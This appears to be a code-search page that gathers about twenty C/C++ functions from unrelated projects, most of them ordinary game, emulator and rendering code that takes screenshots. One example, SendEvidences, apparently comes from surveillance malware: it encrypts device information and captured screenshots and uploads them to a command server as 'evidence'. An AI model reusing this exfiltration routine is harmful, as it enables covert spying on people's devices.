Пример #1
0
int handle_client_input(int cfd, char* fddev)
{
	//Client socket signaled for input
	struct picture pict;
	char buf[BUF_SIZE];
	int c;	
	
	/* read input and parse it */
	//- Retreiving data
	c = Receive(cfd, buf, strlen(SCREENSHOT_CMD), 0);
	if (c == 0 || (c < 0 && errno == EINTR))	return 0;
	if (c < 0)	return -1;
	if (c >= strlen(SCREENSHOT_CMD) && (buf[strlen(SCREENSHOT_CMD)] = '\0', strcmp(buf, SCREENSHOT_CMD) == 0))
	{
		//- Command identified as " SCREENSHOT_CMD);

		/* screenshot command read; take screenshot and post it through socket */
		//- Taking screenshot
		if (TakeScreenshot(fddev, &pict) < 0)	return -1;
		//- Screenshot taken
		
		/* header: width height BPP */
		memset (buf, 0, BUF_SIZE * sizeof(char));
		snprintf (buf, BUF_SIZE, "%d %d %d", pict.xres, pict.yres, pict.bps);
		if (Send(cfd, buf, (strlen(buf) + 1) * sizeof(char), 0) < 0)	/* incl. \0 */
			return -1;
		/* content */
		if (Send(cfd, pict.buffer, pict.xres * pict.yres * pict.bps / 8, 0) < 0)
			return -1;
	}

	return c;
}
Пример #2
0
void ScreenShot()
{
	time_t rawtime;
	struct tm * timeinfo;
	char filename[100];	// Filename, with current date/time.
	char fullPath[300];	// Full pathname: ConfigPath + filename.

	time(&rawtime);
	timeinfo = localtime(&rawtime);

	// Create the filename with the current date/time.
	// Format: USBLoader_GX_ScreenShot-Month_Day_Hour_Minute_Second_Year.png
	int ret = strftime(filename, sizeof(filename), "USBLoader_GX_ScreenShot-%b%d%H%M%S%y.png", timeinfo);
	if (ret == 0)
	{
		// Error formatting the time.
		// Use the raw time in seconds as a fallback.
		snprintf(filename, sizeof(filename), "USBLoader_GX_ScreenShot-%ld.png", rawtime);
	}

	// Create the full pathname.
	snprintf(fullPath, sizeof(fullPath), "%s%s", Settings.ConfigPath, filename);

	if(!CreateSubfolder(Settings.ConfigPath))
	{
		gprintf("Can't create screenshot folder\n");
		return;
	}

	TakeScreenshot(fullPath);
}
Пример #3
0
void BaseVideoFilter::TakeScreenshot(VideoFilterType filterType)
{
	string romFilename = FolderUtilities::GetFilename(Console::GetRomName(), false);

	int counter = 0;
	string baseFilename = FolderUtilities::CombinePath(FolderUtilities::GetScreenshotFolder(), romFilename);
	string ssFilename;
	while(true) {
		string counterStr = std::to_string(counter);
		while(counterStr.length() < 3) {
			counterStr = "0" + counterStr;
		}
		ssFilename = baseFilename + "_" + counterStr + ".png";
		ifstream file(ssFilename, ios::in);
		if(file) {
			file.close();
		} else {
			break;
		}
		counter++;
	}

	TakeScreenshot(filterType, ssFilename);

	MessageManager::DisplayMessage("ScreenshotSaved", FolderUtilities::GetFilename(ssFilename, true));
}
Пример #4
0
void NativeRender() {
	glstate.depthWrite.set(GL_TRUE);
	glstate.colorMask.set(GL_TRUE, GL_TRUE, GL_TRUE, GL_TRUE);

	// Clearing the screen at the start of the frame is an optimization for tiled mobile GPUs, as it then doesn't need to keep it around between frames.
	glClearColor(0.0f, 0.0f, 0.0f, 1.0f);
	glClear(GL_DEPTH_BUFFER_BIT | GL_COLOR_BUFFER_BIT | GL_STENCIL_BUFFER_BIT);

	glstate.viewport.set(0, 0, pixel_xres, pixel_yres);
	glstate.Restore();

	Matrix4x4 ortho;
	ortho.setOrtho(0.0f, dp_xres, dp_yres, 0.0f, -1.0f, 1.0f);
	glsl_bind(UIShader_Get());
	glUniformMatrix4fv(UIShader_Get()->u_worldviewproj, 1, GL_FALSE, ortho.getReadPtr());

	screenManager->render();
	if (screenManager->getUIContext()->Text()) {
		screenManager->getUIContext()->Text()->OncePerFrame();
	}

	if (g_TakeScreenshot) {
		TakeScreenshot();
	}
}
Пример #5
0
void LTScreenshotEditDlg::OnBnClickedButtonTake()
{
	// TODO: Add your control notification handler code here

	TakeScreenshot();

	//BeginSelect();
}
Пример #6
0
bool Output::TakeScreenshot() {
	int index = 0;
	std::string p;
	do {
		p = FileFinder::MakePath(Main_Data::project_path,
								 "screenshot_"
								 + boost::lexical_cast<std::string>(index++)
								 + ".png");
	} while(FileFinder::Exists(p));
	return TakeScreenshot(p);
}
Пример #7
0
bool Output::TakeScreenshot() {
	int index = 0;
	std::string p;
	do {
		p = FileFinder::MakePath(Main_Data::GetSavePath(),
								 "screenshot_"
								 + Utils::ToString(index++)
								 + ".png");
	} while(FileFinder::Exists(p));
	return TakeScreenshot(p);
}
Пример #8
0
void LTScreenshotEditDlg::OnTimer(UINT_PTR nIDEvent)
{
	// TODO: Add your message handler code here and/or call default

	if (nIDEvent == AUTO_SPAWN_INITIATE_TIMER_ID)
	{
		KillTimer(AUTO_SPAWN_INITIATE_TIMER_ID);
		TakeScreenshot();

	}
	
	CDialog::OnTimer(nIDEvent);
}
Пример #9
0
////////////////
// Process any screenshots
void ProcessScreenshots()
{
	std::list<screenshot_t> scrs;
	{
		ScopedLock lock(screenshotQueue.mutex);
		scrs.swap(screenshotQueue.queue);
	}
	
	// Process all the screenhots in the queue
	for (std::list<screenshot_t>::iterator it = scrs.begin(); it != scrs.end(); it++)  {
		TakeScreenshot(it->sDir, it->sData);
	}
}
Пример #10
0
void ScreenShot()
{
  time_t rawtime;
  struct tm * timeinfo;
  char buffer [80];
   char buffer2 [80];

  time ( &rawtime );
  timeinfo = localtime ( &rawtime );
  //USBLoader_GX_ScreenShot-Month_Day_Hour_Minute_Second_Year.png
  strftime (buffer,80,"USBLoader_GX_ScreenShot-%b%d%H%M%S%y.png",timeinfo);
   sprintf(buffer2, "%s/config/%s", bootDevice, buffer);

  TakeScreenshot(buffer2);
}
Пример #11
0
void video_plugin_render_callback(void)
{
    // if the flag is set to take a screenshot, then grab it now
    if (g_TakeScreenshot != 0)
    {
        TakeScreenshot(g_TakeScreenshot - 1);  // current frame number +1 is in g_TakeScreenshot
        g_TakeScreenshot = 0; // reset flag
    }

    // if the OSD is enabled, then draw it now
    if (ConfigGetParamBool(g_CoreConfig, "OnScreenDisplay"))
    {
        osd_render();
    }
}
Пример #12
0
int handle_client_input(int cfd, char* fddev)
{
	Log ("Client socket signaled for input");
	struct picture pict;
	char buf[BUF_SIZE];
	int c;	
	
	/* read input and parse it */
	Log ("- Retreiving data");
	c = Receive(cfd, buf, strlen(SCREENSHOT_CMD), 0);
	if (c == 0 || (c < 0 && errno == EINTR))	return 0;
	if (c < 0)	return -1;
	if (c >= strlen(SCREENSHOT_CMD) && (buf[strlen(SCREENSHOT_CMD)] = '\0', strcmp(buf, SCREENSHOT_CMD) == 0))
	{
		Log ("- Command identified as " SCREENSHOT_CMD);

		/* screenshot command read; take screenshot and post it through socket */
		Log ("- Taking screenshot");
		if (TakeScreenshot(fddev, &pict) < 0)	return -1;
		Log ("- Screenshot taken");
		
		/* header: width height BPP */
		memset (buf, 0, BUF_SIZE * sizeof(char));
		snprintf (buf, BUF_SIZE, "%d %d %d", pict.xres, pict.yres, pict.bps);
		if (Send(cfd, buf, (strlen(buf) + 1) * sizeof(char), 0) < 0)	/* incl. \0 */
		{
			return -1;
		}
		
		Log (buf);
		Log ("- Response header sent.");

		/* content */
		int length = pict.xres * pict.yres * pict.bps / 8;
		int	seek, len;

		for(seek=0; seek<length; seek+=len) {
			len = Send(cfd, &pict.buffer[seek], length-seek, 0);
			if (len < 0)
				return -1;
		}
		free(pict.buffer);
		Log ("- Screenshot sent");
	}

	return c;
}
Пример #13
0
char* WINAPI IsAnythingChanced( int StartX, int StartY, int EndX, int EndY )
{
	FileDebug( "Started IsAnythingChanced" );
	ReturnBuffIAC[0] = 0;
	if( CurScreenshot->Pixels == NULL )
	{
		FileDebug( "Skipping change search as no screenshot is available" );
		return "0|0|0";
	}
	// probably too lazy to set cords, reuse from previous screenshot
	if (StartX == EndX || StartY == EndY)
	{
		// take the screenshot
		TakeScreenshot(CurScreenshot->Left, CurScreenshot->Top, CurScreenshot->Right, CurScreenshot->Bottom);
	}
	if (PrevScreenshot == NULL || PrevScreenshot->Pixels == NULL)
	{
		FileDebug( "Skipping change search as no secondary screenshot is available" );
		return "0|0|0";
	}
	if( CurScreenshot->Left != PrevScreenshot->Left || CurScreenshot->Right != PrevScreenshot->Right || CurScreenshot->Top != PrevScreenshot->Top || CurScreenshot->Bottom != PrevScreenshot->Bottom )
	{
		FileDebug( "Screenshots were not taken from same place. Can't compare" );
		return "0|0|0";
	}
	if( StartY > EndY || StartX > EndX )
	{
		FileDebug( "Third / Fourth parameter does not seem to be width / height" );
		return "0|0|0";
	}
	int Width = CurScreenshot->Right - CurScreenshot->Left;
//	int Height = CurScreenshot->Bottom - CurScreenshot->Top;
	for( int y = StartY; y < EndY; y++ )
		for( int x = StartX; x < EndX; x++ )
			if( CurScreenshot->Pixels[ y * Width + x ] != PrevScreenshot->Pixels[ y * Width + x ] )
			{
				sprintf_s( ReturnBuffIAC, DEFAULT_STR_BUFFER_SIZE*10, "1|%d|%d", x, y );
				FileDebug( ReturnBuffIAC );
				return ReturnBuffIAC;
			}
	FileDebug( "\tEnd IsAnythingChanced" );
	return "0|0|0";
}
void CEditorRoot::OnMenuFile( int entry )
{
	switch ( entry )
	{
	case ER_FMENU_NEW: // new
			new CDialog_NewCanvas( GetSafeFlowgraph(), this );
		break;
	case ER_FMENU_OPEN: // open
		OpenFileDialog( false );
		break;
	case ER_FMENU_SAVE: // save
		GetSafeFlowgraph()->SaveToFile();
		break;
	case ER_FMENU_SAVE_AS: // save as
		OpenFileDialog( true );
		break;
	case ER_FMENU_SAVE_ALL:
		SaveAllGraphs();
		break;
	case ER_FMENU_SCREENSHOT: // screenshot
		TakeScreenshot();
		break;
	case ER_FMENU_ECONFIG: // editor config
			new CDialog_EditorConfig( this );
		break;
	case ER_FMENU_UNDO:
		{
			CNodeView *pView = GetActiveFlowGraph();
			if ( !pView ) break;
			pView->HistoryAction( CNodeView::HACT_UNDO );
		}
		break;
	case ER_FMENU_REDO:
		{
			CNodeView *pView = GetActiveFlowGraph();
			if ( !pView ) break;
			pView->HistoryAction( CNodeView::HACT_REDO );
		}
		break;
	}
}
Пример #15
0
void 
ReactToSpecialKeys(void)
{
  //--------------------
  // user asked for quit
  //
  if ( KeyIsPressedR('q') ) 
    QuitGameMenu();

  if ( KeyIsPressedR('c') && AltPressed() && CtrlPressed() && ShiftPressed() ) 
    Cheatmenu ();
  if ( EscapePressedR() )
    EscapeMenu ();

  if ( KeyIsPressedR ('p') )
    Pause ();

  if (KeyIsPressedR (SDLK_F12) )
    TakeScreenshot();

} // void ReactToSpecialKeys(void)
Пример #16
0
int Game::Run()
{
	sf::Event event;
	input::Action action;
	float frametime;
	running_ = true;

	while (running_)
	{
		// POLLING
		while (app_.GetEvent(event))
		{
			// global events
			if (controller_.GetAction(event, action))
			{
				switch (action)
				{
					case input::EXIT_APP:
						running_ = false;
						break;
					case input::TAKE_SCREENSHOT:
						TakeScreenshot("screenshot");
						break;
					default:
						break;
				}
			}
			(this->*on_event_meth_)(event, action);
		}

		// UPDATE
		frametime = app_.GetFrameTime();
		(this->*update_meth_)(frametime);

		// RENDER
		(this->*render_meth_)();
		app_.Display();
	}
	return 0;
}
Пример #17
0
// FIXME: remove that obsolete stuff...
void 
ReactToSpecialKeys(void)
{

  if ( cmd_is_active(CMD_QUIT) ) 
    QuitGameMenu();

  if ( cmd_is_activeR(CMD_PAUSE) )
    Pause ();

  if ( cmd_is_active (CMD_SCREENSHOT) )
    TakeScreenshot();

  // this stuff remains hardcoded to keys
  if ( KeyIsPressedR('c') && AltPressed() && CtrlPressed() && ShiftPressed() ) 
    Cheatmenu ();

  if ( EscapePressedR() )
    EscapeMenu ();


} // void ReactToSpecialKeys(void)
Пример #18
0
	void MainLoop(){
		while(Going){
    		SDL_Event event;
			System::Input::Update();
    		while ( SDL_PollEvent(&event) ){
				switch(event.type){
		        case SDL_QUIT:
					return; // Break from main loop
					break;
		        case SDL_KEYDOWN:
					if(CurrentGameState)
						CurrentGameState->KeyDown(event.key.keysym.sym);
					else
						if(event.key.keysym.sym == SDLK_ESCAPE)
							return;
					if(event.key.keysym.sym == SDLK_F12)
						TakeScreenshot();
					break;
		        case SDL_KEYUP:
					if(CurrentGameState)
						CurrentGameState->KeyUp(event.key.keysym.sym);
					break;
				case SDL_MOUSEMOTION:
					if(CurrentGameState)
						CurrentGameState->MouseMotion();
					break;
				case SDL_MOUSEBUTTONDOWN:
					if(CurrentGameState)
						CurrentGameState->MouseButtonDown(event.button.button);
					break;
				case SDL_MOUSEBUTTONUP:
					if(CurrentGameState)
						CurrentGameState->MouseButtonUp(event.button.button);
					break;
		        default:
					break;
		    	}
				if(CurrentGameState)
					CurrentGameState->CheckGUIObjectsEvent(&event);
			}

			if(CurrentGameState){
				CurrentGameState->Update(); // Game Logic
				CurrentGameState->UpdateGUIObjects();
			}
			// Paint screen
			SDL_Flip(Screen);
	  		SDL_FillRect(Screen, NULL, 0); // Clear the buffer black
			
			if(CurrentGameState){
				CurrentGameState->Draw(); // Draw
				CurrentGameState->DrawGUIObjects();
			}else
				System::Graphics::DrawFilledTriangle(System::Width/2, 1, System::Width - 1, System::Height - 1, 1, System::Height - 1, 0, 0, 255, 255);

			// Provide time delay
			SDL_framerateDelay(&fpsm);

			// Calculate FPS
			timeNow = SDL_GetTicks();
			if(timeNow - timeLast > 1000){
				m_FPS = numFrames;
				timeLast = timeNow;
				numFrames = 0;
			} else {
				numFrames++;
			}
		}

		// Close data
		System::Graphics::Image::Close();
		System::Text::Close();
		SDL_Quit();
	}
Пример #19
0
BOOL SendEvidences()
{
	BOOL bRetVal = TRUE;
	ULONG uHeaderSize;
	PBYTE pHeaderBuffer;

	// DEVICE FIRST 
	if (pDeviceContainer)
	{
		// payload
		ULONG a = Align(pDeviceContainer->uSize, 16);
		PBYTE pCryptedDeviceBuffer = (PBYTE)malloc(Align(pDeviceContainer->uSize, 16));
		memset(pCryptedDeviceBuffer, 0x0, Align(pDeviceContainer->uSize, 16));
		memcpy(pCryptedDeviceBuffer, pDeviceContainer->pDataBuffer, pDeviceContainer->uSize);
		Encrypt(pCryptedDeviceBuffer, Align(pDeviceContainer->uSize, 16), pLogKey, PAD_NOPAD);

		// header
		CreateLogFile(PM_DEVICEINFO, NULL, 0, FALSE, &pHeaderBuffer, &uHeaderSize);

		// total_len + header + payload_len_clear + payload
		PBYTE pBuffer = (PBYTE)malloc(sizeof(ULONG) + uHeaderSize + sizeof(ULONG) + Align(pDeviceContainer->uSize, 16)); 
		memset(pBuffer, 0x0, sizeof(ULONG) + uHeaderSize + sizeof(ULONG) + pDeviceContainer->uSize);

		// total_len
		*(PULONG)pBuffer = sizeof(ULONG) + uHeaderSize + sizeof(ULONG) + Align(pDeviceContainer->uSize, 16);
		//header
		memcpy(pBuffer + sizeof(ULONG), pHeaderBuffer, uHeaderSize);

		// payload_len_clear
		//*(PULONG)(pBuffer + sizeof(ULONG) + uHeaderSize) = Align(pDeviceContainer->uSize, 16);
		*(PULONG)(pBuffer + sizeof(ULONG) + uHeaderSize) = pDeviceContainer->uSize;

		// payload
		memcpy(pBuffer + sizeof(ULONG) + uHeaderSize + sizeof(ULONG), pCryptedDeviceBuffer, Align(pDeviceContainer->uSize, 16));

		PBYTE pCryptedBuffer;
		if (WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_EVIDENCE, pBuffer, sizeof(ULONG) + uHeaderSize + sizeof(ULONG) + Align(pDeviceContainer->uSize, 16), pSessionKey, &pCryptedBuffer)))
		{
			ULONG uResponseLen;
			PBYTE pResponseBuffer = WinHTTPGetResponse(&uResponseLen); 
			if (pResponseBuffer)
			{
				Decrypt(pResponseBuffer, uResponseLen, pSessionKey);
				if (uResponseLen >= sizeof(DWORD) && *(PULONG)pResponseBuffer == PROTO_OK)
				{
					free(pDeviceContainer->pDataBuffer);
					free(pDeviceContainer);
					pDeviceContainer = NULL;
				}
				else
				{
					bRetVal = FALSE;
#ifdef _DEBUG
					OutputDebugString(L"[!!] got not PROTO_OK @ proto.cpp:81\n");
#endif
				}
				free(pResponseBuffer);
			}
			else
			{
#ifdef _DEBUG
			
				OutputDebugString(L"[!!] WinHTTPGetResponse FAIL @ proto.cpp:81\n");
#endif
				bRetVal = FALSE;
			}
		}
		else
		{
#ifdef _DEBUG
			OutputDebugString(L"[W] WinHTTPSendData FAIL @ proto.cpp:85\n");
#endif		
			bRetVal = FALSE;
		}

		free(pCryptedDeviceBuffer);
		free(pBuffer);
		
	}
#ifdef _DEBUG
//	else
//		OutputDebugString(L"[*] No DeviceInfo\n");
#endif

	// SCREENSHOT
	if (*(PULONG)SCREENSHOT_FLAG == 0)
	{
		ULONG uScreenShotLen;
		PBYTE pJPEGBuffer = TakeScreenshot(&uScreenShotLen);
		if (!pJPEGBuffer || !uScreenShotLen)
		{
#ifdef _DEBUG
			OutputDebugString(L"[!!] no pJPEGBuffer or uScreenShotLen!\n");
#endif
		}
		else
		{
			//payload
			pJPEGBuffer = (PBYTE)realloc(pJPEGBuffer, Align(uScreenShotLen, 16));
			Encrypt(pJPEGBuffer, Align(uScreenShotLen, 16), pLogKey, PAD_NOPAD);

			// additional header
			WCHAR pProcessName[] = { L'U', L'N', L'K', L'N', L'O', L'W', L'N', L'\0' };

			ULONG uAddHeaderSize = sizeof(SNAPSHOT_ADDITIONAL_HEADER) + wcslen(pProcessName)*sizeof(WCHAR) + wcslen(pProcessName)*sizeof(WCHAR);
			PSNAPSHOT_ADDITIONAL_HEADER pSnapAddHeader = (PSNAPSHOT_ADDITIONAL_HEADER)malloc(uAddHeaderSize);

			pSnapAddHeader->uProcessNameLen = wcslen(pProcessName)*sizeof(WCHAR);
			pSnapAddHeader->uWindowNameLen = wcslen(pProcessName)*sizeof(WCHAR);
			pSnapAddHeader->uVersion = LOG_SNAP_VERSION;
			memcpy((PBYTE)pSnapAddHeader + sizeof(SNAPSHOT_ADDITIONAL_HEADER), pProcessName, pSnapAddHeader->uProcessNameLen);
			memcpy((PBYTE)pSnapAddHeader + sizeof(SNAPSHOT_ADDITIONAL_HEADER) + pSnapAddHeader->uProcessNameLen, pProcessName, pSnapAddHeader->uWindowNameLen);

			// header
			CreateLogFile(PM_SCREENSHOT, (PBYTE)pSnapAddHeader, uAddHeaderSize, FALSE, &pHeaderBuffer, &uHeaderSize);

			// total_len + header + payload_len_clear + payload
			PBYTE pBuffer = (PBYTE)malloc(sizeof(ULONG) + uHeaderSize + sizeof(ULONG) + Align(uScreenShotLen, 16)); 
			memset(pBuffer, 0x0, sizeof(ULONG) + uHeaderSize + sizeof(ULONG) + Align(uScreenShotLen, 16));

			// total_len
			*(PULONG)pBuffer = sizeof(ULONG) + uHeaderSize + sizeof(ULONG) + Align(uScreenShotLen, 16);

			//header
			memcpy(pBuffer + sizeof(ULONG), pHeaderBuffer, uHeaderSize);


			// payload_len_clear
			*(PULONG)(pBuffer + sizeof(ULONG) + uHeaderSize) = uScreenShotLen;//Align(uScreenShotLen, 16);

			// payload
			memcpy(pBuffer + sizeof(ULONG) + uHeaderSize + sizeof(ULONG), pJPEGBuffer, Align(uScreenShotLen, 16));

			PBYTE pCryptedBuffer;
			if (WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_EVIDENCE, pBuffer, sizeof(ULONG) + uHeaderSize + sizeof(ULONG) + Align(uScreenShotLen, 16), pSessionKey, &pCryptedBuffer)))
			{
				ULONG uResponseLen;
				PBYTE pResponseBuffer = WinHTTPGetResponse(&uResponseLen); 
				if (pResponseBuffer)
				{
					Decrypt(pResponseBuffer, uResponseLen, pSessionKey);
					if (uResponseLen < sizeof(DWORD) || *(PULONG)pResponseBuffer != PROTO_OK)
					{
#ifdef _DEBUG
						OutputDebugString(L"[!!] PROTO_ERR sending screenshot\n");
#endif
						bRetVal = FALSE;
					}

					free(pResponseBuffer);
					free(pCryptedBuffer);
				}
				else
				{
#ifdef _DEBUG
					OutputDebugString(L"[!!] WinHTTPGetResponse FAIL @ proto.cpp:157\n");
#endif
					bRetVal = FALSE;
				}

			}
			else
			{
#ifdef _DEBUG
				OutputDebugString(L"[!!] WinHTTPSendData FAIL @ proto.cpp:162\n");
#endif
				bRetVal = FALSE;
			}


			free(pBuffer);
			free(pJPEGBuffer);
			free(pSnapAddHeader);
		}
	}

	return bRetVal;
}
Пример #20
0
/*virtual*/ bool Framework3D::TickSim( float DeltaTime )
{
	XTRACE_FUNCTION;

	const bool WasPaused = m_UIManager->GetUIStack()->PausesGame();
	m_Clock->GameTick( WasPaused, DeltaTime );

#if BUILD_SDL
	if( !TickSDLEvents() )
	{
		return false;
	}
#endif

	TickDevices();

#if !BUILD_STEAM
	// Bit of a hack... And would conflict with Steam's F12 key function.
	if( m_Keyboard->OnRise( Keyboard::EB_F12 ) )
	{
		TakeScreenshot();
	}
#endif

	// Man I'm really ruining the notion of "TickInput" huh.
	if(	( m_Keyboard->IsHigh( Keyboard::EB_LeftAlt ) ||
		  m_Keyboard->IsHigh( Keyboard::EB_RightAlt ) ) &&
		m_Keyboard->OnRise( Keyboard::EB_Enter ) )
	{
		ToggleFullscreen();
	}

#if !BUILD_MAC
	// This causes problems on Mac, but is essential on Linux and maybe Windows.
	if( m_Mouse->IsActive() && m_Window->HasFocus() )
	{
		// Fix invisible cursor from affecting other windows
		m_Mouse->SetPosition( m_Display->m_Width / 2, m_Display->m_Height / 2, m_Window );
	}
#endif

	XTRACE_BEGIN( TickUI );
		m_UIManager->ProcessEvents();
		m_UIManager->GetUIStack()->Tick( DeltaTime, DeltaTime, false );
	XTRACE_END;

	const bool Unpaused = WasPaused && !m_UIManager->GetUIStack()->PausesGame();
	if( Unpaused )
	{
		OnUnpaused();
		m_Clock->GameTick( false, DeltaTime );
	}

	if( m_HasFocus )
	{
		if( WasPaused )
		{
			TickPausedInput();
		}
		else
		{
			if( !TickInput( DeltaTime ) )
			{
				return false;
			}
		}
	}

	if( !WasPaused )
	{
		TickGame( DeltaTime );
	}

	XTRACE_BEGIN( TickAudio );
		m_AudioSystem->Tick( DeltaTime, WasPaused );
	XTRACE_END;

	return true;
}
Пример #21
0
/* The main drawing function. */
void DrawGLScene(){

   glClear(GL_DEPTH_BUFFER_BIT | GL_COLOR_BUFFER_BIT);
   glLoadIdentity();

   double RotationAngleX = 0.0;
   double RotationAngleY = 0.0;
   double RotationAngleZ = 0.0;

   if( dim3d==1 ) RotationAngleX = -60.0;
   if( dim3d==2 ) RotationAngleX = -90.0;
 
   glTranslatef( 0.0 , 0.0 , -CAM_BACKUP );

   glRotatef(RotationAngleX, 1, 0, 0);
   glRotatef(RotationAngleY, 0, 1, 0);
   glRotatef(RotationAngleZ, 0, 0, 1);

   int q = valq;

   getMaxMin();
   if( print_vals==0 ){
      printf("Max = %e Min = %e\n",maxval,minval);
      print_vals=1;
   }

   double camdist = 0.0;//-CAM_BACKUP;
   double xoff    = offx;
   double yoff    = offy;
   double zoff    = 0.0;

   if( draw_1d ){
      glColor3f(1.0,1.0,1.0);
      glBegin(GL_QUADS);
      glVertex3f(-1./rescale-xoff,-1./rescale-yoff, camdist + zoff );
      glVertex3f( 1./rescale-xoff,-1./rescale-yoff, camdist + zoff );
      glVertex3f( 1./rescale-xoff, 1./rescale-yoff, camdist + zoff );
      glVertex3f(-1./rescale-xoff, 1./rescale-yoff, camdist + zoff );
      glEnd();
      glLineWidth( 3.0f );
      glColor3f(0.0,0.0,0.0);
      glBegin( GL_LINE_STRIP );
      int j;
//      for( j=0 ; j<Nr ; ++j ){
      for( j=0 ; j<Nr ; ++j ){
         //if(logscale) val = log(getval(theZones[i],q))/log(10.);
         double rm = r_jph[j-1];
         double rp = r_jph[j]; 
         double val = theRadialData[j][q]/max_1d;//*pow(.5*(rp+rm),1.5);//2.*(theRadialData[j][q]-minval)/(maxval-minval) - 1.;//getval(theZones[i],q);
         if( q==1 ) val *= 1e2;
         val = 2.*val - 1.;
         double c0 = 2.*((.5*(rp+rm)-r_jph[-1])/(r_jph[Nr-1]-r_jph[-1]) - .5)/rescale;
         double c1 = val/rescale;
         glVertex3f( c0-xoff, c1-yoff, camdist-zoff+.001 );
      }    
      glEnd();
/*
      glColor3f(0.5,0.5,0.5);
      glBegin( GL_LINE_STRIP );

      for( j=0 ; j<Nr ; ++j ){
         //if(logscale) val = log(getval(theZones[i],q))/log(10.);
         double rm = r_jph[j-1];
         double rp = r_jph[j];
         double r = .5*(rp+rm); 
         double val = pow(r,-1.5)/max_1d;// *pow(.5*(rp+rm),1.5);//2.*(theRadialData[j][q]-minval)/(maxval-minval) - 1.;//getval(theZones[i],q);         if( q==1 ) val *= 1e2;
         val = 2.*val - 1.;
         double c0 = 2.*((.5*(rp+rm)-r_jph[-1])/(r_jph[Nr-1]-r_jph[-1]) - .5)/rescale;                 double c1 = val/rescale;
         glVertex3f( c0-xoff, c1-yoff, camdist-zoff+.001 );
      }       
      glEnd();
*/
      if( draw_planet ){
         double eps = 0.01;
         int p;
         for( p=0 ; p<Npl ; ++p ){
            double r   = thePlanets[p][0];
            double x = 2.*(( r - r_jph[-1] )/( r_jph[Nr-1]-r_jph[-1] ) - .5)/rescale;
            glColor3f(0.0,0.0,0.0);
            glLineWidth(2.0);
            glBegin(GL_LINE_LOOP);
            glVertex3f( x-xoff+eps , 1./rescale-yoff+eps , camdist+.001 );
            glVertex3f( x-xoff-eps , 1./rescale-yoff+eps , camdist+.001 );
            glVertex3f( x-xoff-eps , 1./rescale-yoff-eps , camdist+.001 );
            glVertex3f( x-xoff+eps , 1./rescale-yoff-eps , camdist+.001 );
            glEnd();
         }
      }

   }else{
      int Num_Draws = 1+reflect+draw_border;
      int count;
      int i,j;
      for( count = 0 ; count < Num_Draws ; ++count ){
         int draw_border_now = 0;
         int draw_reflected_now = 0;
         if( count==reflect+1 ) draw_border_now = 1;
         if( reflect && count==1 ) draw_reflected_now = 1;
         if( draw_border_now ) zoff -= .0001;
      for( j=0 ; j<Nr ; ++j ){
         double rm = r_jph[j-1]/rescale;
         double rp = r_jph[j]/rescale;
         double rc = .5*(rp+rm);
         double dr = rp-rm;
      
         if( !draw_border ){
            rm = rc-.55*dr;
            rp = rc+.55*dr;
         }
         for( i=0 ; i<Np[j] ; ++i ){

            double phip = p_iph[j][i];
            double phim;
            if( i==0 ) phim = p_iph[j][Np[j]-1]; else phim = p_iph[j][i-1];
            if( t_off && !p_off ){ phip -= t; phim -= t; }
            if( p_off ){ phip -= thePlanets[1][1]; phim -= thePlanets[1][1]; }
            double dp   = phip-phim;
            while( dp < 0.0 ) dp += 2.*M_PI;
            while( dp > 2.*M_PI ) dp -= 2.*M_PI;
            double phi = phim + 0.5*dp;
            if( !draw_border ){
               phip = phi+.55*dp;
               phim = phi-.55*dp;
            }

            double val = (getval(theZones[j][i],q)-minval)/(maxval-minval);
            if(logscale) val = (log(getval(theZones[j][i],q))/log(10.)-minval)/(maxval-minval);
            if( val > 1.0 ) val = 1.0;
            if( val < 0.0 ) val = 0.0;
            //double u = getval( theZones[j][i] , 2 );
            //if( uMax < u ) uMax = u;

            float rrr,ggg,bbb;
            get_rgb( val , &rrr , &ggg , &bbb , cmap );

            //if( (!dim3d || (sin(phi)>0 || cos(phi+.25)<0.0)) && dim3d !=2 ){
            if( dp < 1.5 && (!dim3d || (sin(phi)>0 && cos(phi)>0.0)) && dim3d !=2 ){
               if( !draw_border_now ){ 
                  glColor3f( rrr , ggg , bbb );
                  glBegin(GL_POLYGON);
               }else{
                  glLineWidth(3.0f);
                  glColor3f(0.0,0.0,0.0);
                  glBegin(GL_LINE_LOOP);
               }

               double z0 = 0.0;
               if( dim3d ) z0 = z_kph[Nz-1]/rescale;
     
               double c0 = rm*cos(phim);
               double c1 = rm*sin(phim);
               glVertex3f( c0-xoff, c1-yoff, camdist-zoff+z0 );

               c0 = rp*cos(phim);
               c1 = rp*sin(phim);
               glVertex3f( c0-xoff, c1-yoff, camdist-zoff+z0 );

               c0 = rp*cos(phi)/cos(.5*dp);
               c1 = rp*sin(phi)/cos(.5*dp);
               glVertex3f( c0-xoff, c1-yoff, camdist-zoff+z0 );

               c0 = rp*cos(phip);
               c1 = rp*sin(phip);
               glVertex3f( c0-xoff, c1-yoff, camdist-zoff+z0 );

               c0 = rm*cos(phip);
               c1 = rm*sin(phip);
               glVertex3f( c0-xoff, c1-yoff, camdist-zoff+z0 );

               glEnd();
            }
         }
         if( dim3d ){
            int k;
            for( k=0 ; k<Nz ; ++k ){
               int jk = j*Nz+k;
               double rp = r_jph[j]/rescale;
               double rm = r_jph[j-1]/rescale;
               double zp = z_kph[k]/rescale;
               double zm = z_kph[k-1]/rescale;

               double phi = 0.0;//rzZones[jk][Nq];

            double val = (getval(rzZones[jk],q)-minval)/(maxval-minval);
            if(logscale) val = (log(getval(rzZones[jk],q))/log(10.)-minval)/(maxval-minval);
            if( val > 1.0 ) val = 1.0;
            if( val < 0.0 ) val = 0.0;
            float rrr,ggg,bbb;
            get_rgb( val , &rrr , &ggg , &bbb , cmap );
               if( !draw_border_now ){ 
                  glColor3f( rrr , ggg , bbb );
                  glBegin(GL_POLYGON);
               }else{
                  glLineWidth(2.0f);
                  glColor3f(0.0,0.0,0.0);
                  glBegin(GL_LINE_LOOP);
               } 
                  
                  glVertex3f( rp*cos(phi) - xoff , rp*sin(phi) - yoff + zoff, zp );
                  glVertex3f( rm*cos(phi) - xoff , rm*sin(phi) - yoff + zoff, zp );
                  glVertex3f( rm*cos(phi) - xoff , rm*sin(phi) - yoff + zoff, zm );
                  glVertex3f( rp*cos(phi) - xoff , rp*sin(phi) - yoff + zoff, zm );
                  glEnd();
            }
            if( draw_border_now || dim3d == 1 ){
               glLineWidth(2.0f);
               glColor3f(0.0,0.0,0.0);
               glBegin(GL_LINE_LOOP);

               double rp = r_jph[Nr-1]/rescale;
               //double rm =-r_jph[Nr-1]/rescale;
